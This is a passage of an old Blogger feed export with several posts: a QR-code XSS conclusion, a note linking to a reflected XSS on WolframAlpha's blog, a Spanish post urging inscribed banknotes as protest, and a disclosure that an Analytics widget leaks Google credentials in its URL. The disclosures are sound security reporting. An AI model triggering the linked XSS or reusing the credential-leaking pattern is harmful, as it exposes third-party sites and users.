/&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Final Remarks&lt;span style="font-style:italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We conclude that browser executable code can be included inside QR Codes directly or within URLs. Although the examples I present are not very dangerous is possible that more critical examples will appear in the future if QR Codes become more and more used in daily life.&lt;br /&gt;&lt;br /&gt;Check below the remarkable video from the Pet Shop Boys's song &lt;a href="http://en.wikipedia.org/w/index.php?title=Integral_(song)&amp;oldid=279675644"&gt;Integral&lt;/a&gt;.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;object width="480" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/OkNjp1JAPn4&amp;hl=en&amp;fs=1&amp;color1=0x234900&amp;color2=0x4e9e00"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/OkNjp1JAPn4&amp;hl=en&amp;fs=1&amp;color1=0x234900&amp;color2=0x4e9e00" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;/center&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-7875980245483388862?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/7875980245483388862/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/05/qr-codes-security-cross-site-scripting.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7875980245483388862'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7875980245483388862'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/05/qr-codes-security-cross-site-scripting.html' title='QR Codes Security: Cross-site Scripting'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_tJD3vUnZtL0/SiNXiru8dPI/AAAAAAAAAEM/0tmGO66naWg/s72-c/Qr+%5B7%5D+-+Puto+el+que+lee.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-5184321084356123417</id><published>2009-05-24T10:28:00.000-07:00</published><updated>2009-05-31T19:38:04.567-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='wolframalpha'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='owned'/><category scheme='http://www.blogger.com/atom/ns#' term='alpha'/><category scheme='http://www.blogger.com/atom/ns#' term='wolfram'/><title type='text'>XSS on WolframAlpha's Blog (owned!)</title><content type='html'>A reflected XSS has been discovered in the &lt;a href="ttp://tinyurl.com/r5y28t"&gt;blog of WolframAlpha's proyect&lt;/a&gt;. Check the screenshot, it's not very dangerous but it's funny, inserts a lolcat photo from another domain.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tJD3vUnZtL0/ShmE27rU-tI/AAAAAAAAAEE/qAGEu6Rq2b4/s1600-h/wolframalpha_owned.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 246px;" src="http://3.bp.blogspot.com/_tJD3vUnZtL0/ShmE27rU-tI/AAAAAAAAAEE/qAGEu6Rq2b4/s320/wolframalpha_owned.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5339444912491657938" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://tinyurl.com/r5y28t"&gt;CHECK IT HERE!&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://twitter.com/ortegaalfredo/status/1824029496"&gt;SOURCE&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-5184321084356123417?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/5184321084356123417/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/05/xss-on-wolframalphas-blog-owned.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/5184321084356123417'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/5184321084356123417'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/05/xss-on-wolframalphas-blog-owned.html' title='XSS on WolframAlpha&apos;s Blog (owned!)'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tJD3vUnZtL0/ShmE27rU-tI/AAAAAAAAAEE/qAGEu6Rq2b4/s72-c/wolframalpha_owned.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-4370695457291807975</id><published>2009-02-03T11:26:00.001-08:00</published><updated>2009-02-08T08:37:26.434-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='dinero'/><category scheme='http://www.blogger.com/atom/ns#' term='central'/><category scheme='http://www.blogger.com/atom/ns#' term='argentina'/><category scheme='http://www.blogger.com/atom/ns#' term='hoax'/><category scheme='http://www.blogger.com/atom/ns#' term='deuda'/><category scheme='http://www.blogger.com/atom/ns#' term='money'/><category scheme='http://www.blogger.com/atom/ns#' term='banco'/><category scheme='http://www.blogger.com/atom/ns#' term='debt'/><category scheme='http://www.blogger.com/atom/ns#' term='viral'/><category scheme='http://www.blogger.com/atom/ns#' term='billete'/><category scheme='http://www.blogger.com/atom/ns#' term='fed'/><title type='text'>¿Sirven los billetes con inscripciones contra el sistema?</title><content type='html'>&lt;code&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;embed id="VideoPlayback" src="http://video.google.com/googleplayer.swf?docid=-233301379524855131&amp;hl=es&amp;fs=true" style="width:400px;height:326px" allowFullScreen="true" allowScriptAccess="always" type="application/x-shockwave-flash"&gt; &lt;/embed&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Bueno, llegó a mis manos un billete argentino de 2 pesos con una inscripción viral que dice "si te toca este billete la plata nunca te fallaría hace 3 copias".&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/SYinDs7xG0I/AAAAAAAAABs/yh3vYl8PpOg/s1600-h/2pesos.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 131px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/SYinDs7xG0I/AAAAAAAAABs/yh3vYl8PpOg/s320/2pesos.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5298668643644676930" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Me parecio muy simpático este &lt;a href="http://es.wikipedia.org/wiki/Bulo"&gt;hoax&lt;/a&gt; (o bulo o cadena falsa) que usa el dinero para replicarse, es decir, obviamente es falso pero mucha gente ante la promesa del billete, más su necesidad de dinero y la superstición, hará lo que dice.&lt;br /&gt;&lt;br /&gt;En el 2007, billetes con sellos de protesta contra la empresa papelera Botnia invadieron las billeteras argentinas. Según el siguiente articulo periodístico, &lt;a href="http://www.infobae.com/notas/nota.php?Idx=296028&amp;IdxSeccion=100884"&gt;¿Sirven los billetes con sellos contra las papeleras?&lt;/a&gt;, la cantidad de billetes sumaría alrededor de 100.000 pesos, me pregunto si un monto tan grande podría haber sido sellado por un particular privado o si fue una campaña del gobierno nacional. Algo interesante es que el Banco Central de la República Argentina (BCRA) dijo que estos billetes adulterados "[..] mantienen pleno valor circulatorio y de pago." y que esta entidad ser reserva la facultad de promover las acciones pertinentes ante quienes desvirtúen el uso de los billetes a través de inscripciones.&lt;br /&gt;&lt;br /&gt;A modo de desobediencia civil voy a continuar con la cadena, haciendo 2 copias en vez de 3 (lo importante es que sean más que 2 para que el crecimiento de los billetes afectados sea exponencial). Me hizo acordar a este documental llamado &lt;a href="http://video.google.es/videoplay?docid=-233301379524855131"&gt;El Dinero Como Deuda&lt;/a&gt; (Money as Debt), que explica como la moneda mas fuerte de todo el mundo, el dolár, es emitido por un banco central gobernado por intereses privados, la &lt;a href="http://es.wikipedia.org/wiki/Sistema_de_Reserva_Federal"&gt;FED&lt;/a&gt;, lo que lleva a que los dólares en circulación sean notas de deuda que tiene el gobierno estadounidense con el sistema bancario privado. En el caso de Argentina el &lt;a href="http://es.wikipedia.org/wiki/Banco_Central_de_la_Rep%C3%BAblica_Argentina"&gt;Banco Central de la República Argentina&lt;/a&gt; esta dirigido por un directorio elegido por el Poder Ejecutivo, pero en la práctica se ve que la dirigencia de este banco central argentino proviene del sector privado financiero internacional más que del gobierno de turno (ver la &lt;a href="http://es.wikipedia.org/wiki/Banco_Central_de_la_República_Argentina"&gt;lista&lt;/a&gt; de directores) y que el peso argentino estuvo los ultimos casi 20 años atado o regulado para estar atado al dolár.&lt;br /&gt;&lt;br /&gt;Tecnicamente, si el dinero se emite para acompañar el crecimiento del país no habría problema (igual el crecimiento indefinido es insostenible), pero la cuestión es que ,viceversa, el que emite el dinero controla o influye fuertemente en el crecimiento del país, luego si el peso esta atado al dolar y el dolar lo emite la FED privada a pedido del gobierno estadounidense con un interés que controla la FED, entonces los interés privados de banqueros internacionales o estadounidenses controlan el crecimiento argentino y la inflación argentina.&lt;br /&gt;&lt;br /&gt;Al principo de este post esta el documental, en español.&lt;br /&gt;&lt;br /&gt;Voy a hacer un URL pequeño para poner en los billetes que voy a liberar, asi rastreo parcialmente el éxito de esta humilde campaña viendo la cantidad de visitas a este artículo en mi blog.&lt;br /&gt;&lt;br /&gt;Entonces mi inscripcion será la siguiente: &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;font size=3&gt;&lt;span style="font-style:italic;"&gt;"si no te alcanza el dinero hace 2 copias y entra a &lt;a href="http://tinyurl.com/cedbxz"&gt;http://tinyurl.com/cedbxz&lt;/a&gt;"&lt;/span&gt;&lt;/font&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Liberen sus propios billetes inscriptos si quieren.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/SYi2W8HfT5I/AAAAAAAAAB0/JP0rTcnLn9c/s1600-h/copias.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 268px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/SYi2W8HfT5I/AAAAAAAAAB0/JP0rTcnLn9c/s320/copias.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5298685466812305298" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;¡Basta de control privado internacional sobre la política monetaria argentina o de cualquier país libre y soberano!&lt;span style="font-weight:bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Otras alternativas creativas que se han puesto a circular son:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;- Si no queres que te falte el amor entra a &lt;a href="http://tinyurl.com/cedbxz"&gt;http://tinyurl.com/cedbxz&lt;/a&gt; y hace 2 copias (versión Hare Krishna)&lt;br /&gt;- Si odias a los bancos hace 2 copias y entra a &lt;a href="http://tinyurl.com/cedbxz"&gt;http://tinyurl.com/cedbxz&lt;/a&gt; (version Corralito)&lt;br /&gt;- ¡Desobediencia civil! hace 2 copias y entra a &lt;a href="http://tinyurl.com/cedbxz"&gt;http://tinyurl.com/cedbxz&lt;/a&gt; (version desobediente)&lt;br /&gt;- ¡Sumate a la Resistencia! hace 2 copias y entra a &lt;a href="http://tinyurl.com/cedbxz"&gt;http://tinyurl.com/cedbxz&lt;/a&gt; (version resistente)&lt;br /&gt;59-09: 50 años Rev Cubana, hace 2 copias y entra a &lt;a href="http://tinyurl.com/cedbxz"&gt;tinyurl.com/cedbxz&lt;/a&gt; (versión cubana)&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-4370695457291807975?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/4370695457291807975/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/02/sirven-los-billetes-con-inscripciones.html#comment-form' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/4370695457291807975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/4370695457291807975'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/02/sirven-los-billetes-con-inscripciones.html' title='¿Sirven los billetes con inscripciones contra el sistema?'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_tJD3vUnZtL0/SYinDs7xG0I/AAAAAAAAABs/yh3vYl8PpOg/s72-c/2pesos.PNG' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-1781503655339651787</id><published>2008-12-14T00:08:00.000-08:00</published><updated>2008-12-14T03:50:08.544-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='widget'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='analytics'/><title type='text'>Danger: 3rd Party Google Analytics Widget</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_AzwtiowVPjI/SUTLQ7kZjuI/AAAAAAAAADU/bCfeEaqsiac/s1600-h/analytics2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 109px; height: 109px;" src="http://3.bp.blogspot.com/_AzwtiowVPjI/SUTLQ7kZjuI/AAAAAAAAADU/bCfeEaqsiac/s320/analytics2.png" alt="" id="BLOGGER_PHOTO_ID_5279568154913771234" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Casi me mando una torpeza, le agregue Google Analytics (GA) a este blog y queria poner un &lt;span style="font-style: italic;"&gt;widget&lt;/span&gt; del mismo para que los visitantes vean la actividad. Probando los &lt;span style="font-style: italic;"&gt;widgets&lt;/span&gt; recomendados por Blogger vi que solamente andaba uno que pedia el usuario y &lt;span style="font-style: italic;"&gt;password&lt;/span&gt; de GA (claro como va a conocer las estadisticas sino, son privadas!). Luego me di cuenta que no esta bueno darles tu &lt;span style="font-style: italic;"&gt;password&lt;/span&gt; de Google a los que hacen estos widgets porque tu &lt;span style="font-style: italic;"&gt;password&lt;/span&gt; es tuyo (?) y ninguna &lt;span style="font-style: italic;"&gt;3rd party&lt;/span&gt; lo deberia guardar en sus servidores. Pero el problema mas grave fue que descubrí que este &lt;span style="font-style: italic;"&gt;widget &lt;/span&gt;publica el usuario y el &lt;span style="font-style: italic;"&gt;password&lt;/span&gt; dentro de su código. Vean:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background: rgb(255, 255, 255) none repeat scroll 0% 50%; color: rgb(0, 0, 0); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;img height&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;'1'&lt;/span&gt; src&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;'http&lt;span style="color: rgb(128, 0, 128);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;//gmodules.com/ig/rgp?&lt;/span&gt;&lt;br /&gt;synd&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;blogger&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;lang&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;es&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;source&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;http&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;3A&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2F&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2Fmechanicalpoetry&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;blogspot&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;com&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2F&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;n&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;url1&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;http&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;3A&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2F&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2Fhosting&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;gmodules&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;com&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2Fig&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2Fgadgets&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2Ffile&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2F113442111111660630273&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2FGoogleAnalytics&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;xml&lt;br /&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;' width='&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;1&lt;/span&gt;'&lt;span style="color: rgb(128, 128, 48);"&gt;/&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;lt;&lt;/span&gt;iframe frameborder&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;'0'&lt;/span&gt; height&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;'200'&lt;/span&gt; id&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;'1'&lt;/span&gt; name&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 230);"&gt;'1'&lt;/span&gt; src&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;'http&lt;span style="color: rgb(128, 0, 128);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(105, 105, 105);"&gt;//1.blogger.gmodules.com/gadgets/ifr?&lt;/span&gt;&lt;br /&gt;container&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;blogger&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;mid&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 140, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;v&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;cad198147a605c967a79e981625325&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;lang&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;es&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;country&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;ALL&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;view&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;default&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;up_selectedTab&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;up_username&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="background: rgb(255, 255, 255) none repeat scroll 0% 50%; color: rgb(221, 0, 0); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;USUARIO_DE_BLOGGER_Y_O_GOOGLE&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;up_password&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="background: rgb(255, 255, 255) none repeat scroll 0% 50%; color: rgb(221, 0, 0); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;PASSWORD&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;up_account&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;up_website&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;up_daterange&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;One&lt;span style="color: rgb(128, 128, 48);"&gt;+&lt;/span&gt;Month&lt;span style="color: rgb(128, 128, 48);"&gt;&amp;amp;&lt;/span&gt;&lt;br /&gt;url&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;http&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;3A&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2F&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2Fhosting&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;gmodules&lt;span style="color: rgb(128, 128, 48);"&gt;.&lt;/span&gt;com&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2Fig&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2Fgadgets&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 50%; color: rgb(255, 255, 255); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold; font-style: italic;"&gt;2Ffile&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt;&lt;span style="background: rgb(221, 0, 0) none repeat scroll 0% 